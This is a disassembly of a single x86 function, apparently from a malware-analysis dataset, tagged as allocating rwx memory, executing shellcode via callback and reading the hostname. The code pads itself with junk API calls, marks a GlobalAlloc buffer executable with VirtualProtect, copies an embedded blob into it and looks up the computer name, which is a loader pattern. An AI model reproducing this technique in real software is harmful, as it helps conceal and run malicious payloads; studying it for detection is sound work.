Function at 0x403268
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
push edi
xor edi, edi
cmp dword [0x59c0d8], 0x5b1
jne 0x403312
push edi
lea eax, [ebp - 0x414]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push dword [ebp - 8]
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0x402d0c
push edi
call fcn.00403aae
pop ecx
pop ecx
lea esi, [ebp - 0x14]
call fcn.00402f10
mov ecx, esi
call fcn.00402f30
push edi
call fcn.00403896
push edi
push edi
call fcn.004038a1
push edi
call fcn.004039d3
add esp, 0xc
mov dword [esp], edi
call fcn.00402f5a
fstp st(0)
push edi
call fcn.004039d3
pop ecx
call fcn.00403ad0
add dword [0x59c0d8], 0x1134b
push ebx
push dword [0x59c0d8]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x59c0d8]
mov dword [0x59b02c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x403363
inc esi
cmp esi, 0x4f6a4
jl 0x40334a
xor esi, esi
cmp dword [0x59c0d8], edi
jbe 0x4033af
cmp dword [0x59c0d8], 0xa8
mov eax, dword [0x59c0dc]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x59b02c]
mov byte [ecx + esi], al
jne 0x4033a6
push edi
call dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
inc esi
cmp esi, dword [0x59c0d8]
jb 0x40336d
xor esi, esi
mov eax, dword [0x59c0d8]
add eax, esi
cmp eax, 0xe
jne 0x4033d0
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
inc esi
cmp esi, 0x39621
jl 0x4033b1
mov esi, 0x1e6cc
push edi
push edi
call dword [sym.imp.USER32.dll_LoadMenuW]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x4033de
call fcn.0040319a
call ebx
cmp esi, 0x26
jne 0x403410
call fcn.0040324e
inc esi
cmp esi, 0x6753f
jl 0x403404
push 0x7b
pop esi
pop ebx
cmp dword [0x59c0d8], 0x86
jne 0x40345e
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push edi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push edi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
dec esi
jne 0x40341d
push 0x402d20
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
leave
ret